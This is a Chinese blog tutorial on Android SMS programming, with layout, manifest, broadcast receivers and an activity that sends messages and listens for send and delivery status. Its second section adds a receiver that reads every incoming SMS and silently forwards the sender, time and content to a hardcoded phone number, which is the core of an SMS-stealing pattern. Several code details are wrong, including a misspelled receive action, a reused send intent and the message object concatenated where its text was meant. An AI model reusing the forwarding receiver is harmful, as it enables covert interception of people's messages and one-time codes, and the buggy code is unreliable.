魔乐科技安卓开发教程----李兴华----18短信服务

1.短信发送状态监听

在这里插入图片描述
在这里插入图片描述
关于pendingIntent的一个解释(参考网络):
intent英文意思是意图,pending表示即将发生或来临的事情。
PendingIntent这个类用于处理即将发生的事情。比如在通知Notification中用于跳转页面,但不是马上跳转。

Intent 是及时启动,intent 随所在的activity 消失而消失。
PendingIntent 可以看作是对intent的包装,通常通过getActivity,getBroadcast ,getService来得到pendingintent的实例,当前activity并不能马上启动它所包含的intent,而是在外部执行 pendingintent时,调用intent的。正由于pendingintent中 保存有当前App的Context,使它赋予外部App一种能力,使得外部App可以如同当前App一样的执行pendingintent里的 Intent, 就算在执行时当前App已经不存在了,也能通过存在pendingintent里的Context照样执行Intent。另外还可以处理intent执行后的操作。常和alermanger 和notificationmanager一起使用。
Intent一般是用作Activity、Sercvice、BroadcastReceiver之间传递数据,而Pendingintent,一般用在 Notification上,可以理解为延迟执行的intent,PendingIntent是对Intent一个包装。

PendingIntent就是一个Intent的描述,我们可以把这个描述交给别的程序,别的程序根据这个描述在后面的别的时间做你安排做的事情 (By giving a PendingIntent to another application, you are granting it the right to perform the operation you have specified as if the other application was yourself,就相当于PendingIntent代表了Intent)。本例中别的程序就是发送短信的程序,短信发送成功后要把intent广播出去 。
————————————————
版权声明:本文为CSDN博主「笑对生活_展望未来」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zeng622peng/article/details/6180190

1、创建布局文件

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <TableLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content">
        <TableRow>
            <TextView
                android:text="收信人"
                android:layout_width="90dp"
                android:layout_height="wrap_content"/>
            <EditText
                android:id="@+id/tel"
                android:numeric="integer"
                android:layout_width="260dp"
                android:layout_height="wrap_content"/>

        </TableRow>
        <TableRow>
            <TextView
                android:text="内容"
                android:layout_width="90dp"
                android:layout_height="wrap_content"/>
            <EditText
                android:id="@+id/content"
                android:lines="6"
                android:gravity="top"
                android:layout_width="260dp"
                android:layout_height="wrap_content"/>
        </TableRow>

    </TableLayout>
    <Button
        android:id="@+id/send"
        android:text="send"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"/>

</LinearLayout>

2、在Manifest文件中创建用户权限

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.fengray.myex031smslisten">
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

3、创建send发送和delivered接收的服务

SMSSendBroadcastReceiver类

public class SMSSendBroadcastReceiver  extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals("SMS_SEND_ACTION")){
            switch (getResultCode()){
                case Activity.RESULT_OK:
                    Toast.makeText(context, "短信已发送", Toast.LENGTH_SHORT).show();
                    break;
                case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                    Toast.makeText(context, "短信发送失败", Toast.LENGTH_SHORT).show();

            }
        }

    }
}

SMSDeliveredBroadcastReceiver类

public class SMSDeliveredBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
            if (intent.getAction().equals("SMS_DELIVERED_ACTION")){
            switch (getResultCode()){
                case Activity.RESULT_OK:
                    Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show();
                    break;
                case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                    Toast.makeText(context, "短信接收失败", Toast.LENGTH_SHORT).show();

            }
        }
    }
}

4、主activity

public class MainActivity extends AppCompatActivity {
    private EditText tel,content;
    private Button send=null;
    private SMSSendBroadcastReceiver sendRec=null;
    private SMSDeliveredBroadcastReceiver delRec = null;
    private String permission[]=new String[]{Manifest.permission.SEND_SMS,Manifest.permission.RECEIVE_SMS};
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //动态请求各种权限
        for (int i = 0; i <permission.length;i++) {
            ActivityCompat.requestPermissions(this,permission, i);
        }

        //c初始化组件
        tel=findViewById(R.id.tel);
        content=findViewById(R.id.content);
        send=findViewById(R.id.send);

        sendRec =new  SMSSendBroadcastReceiver();
        delRec=new SMSDeliveredBroadcastReceiver();

        send.setOnClickListener(new SendOnclickLinstenerImpl());


    }
    private class SendOnclickLinstenerImpl implements View.OnClickListener{

        @Override
        public void onClick(View v) {
            Intent snetIntent=new Intent("SMS_SEND_ACTION");
            Intent deliveredIntent=new Intent("SMS_DELIVERED_ACTION");
            SmsManager smsManager=SmsManager.getDefault();//获得短信管理对象
            String telphone=tel.getText().toString();
            String stringcontent=content.getText().toString();
            //通过广播启动相应的service
            PendingIntent sendPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0);
            PendingIntent deliveredPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0);

            //注册广播
            registerReceiver(sendRec,new IntentFilter("SMS_SEND_ACTION"));
            registerReceiver(delRec,new IntentFilter("SMS_DELIVERED_ACTION"));

            //发送短信
            if (stringcontent.length()>70){
                List<String> smgs=smsManager.divideMessage(stringcontent);//拆分信息
                Iterator<String> iterator=smgs.iterator();
                while (iterator.hasNext()){
                    String msg=iterator.next();
                    smsManager.sendTextMessage(telphone,null,msg,sendPendingIntent,deliveredPendingIntent);
                }
            } else {
                smsManager.sendTextMessage(telphone, null, stringcontent, sendPendingIntent, deliveredPendingIntent);
            }
        }
    }
}

结果:
在这里插入图片描述
在这里插入图片描述

2.短信发送内容监听

在这里插入图片描述
1.上例基础上创建SMSBroadcastReveiver

public class SMSBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

         Object [] pdusData= (Object[]) intent.getExtras().get("pdus");
        for (int i = 0; i < pdusData.length; i++) {
            byte[] pdus = (byte[]) pdusData[i];//取出一条完整的短信
            SmsMessage message = SmsMessage.createFromPdu(pdus);//信息数据
            String phoneNumber = message.getOriginatingAddress();//取得地址
            String receiveData = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date(message.getTimestampMillis()));
            SmsManager smsManager=SmsManager.getDefault();//获取短信管理器
            PendingIntent sentIntent=PendingIntent.getActivity(context, 0,intent,PendingIntent.FLAG_UPDATE_CURRENT);
            String content="短信号码:"+phoneNumber+"\n发送时间:"+receiveData+"\n短信内容:"+message;
            Log.d("jian", "onReceive: "+content);
            smsManager.sendTextMessage("113612345678",null,content,sentIntent,null);
        }
    }
}

2、Manifest文件增加服务过滤器

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.fengray.myex031smslisten">
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".SMSBroadcastReceiver">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVE"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值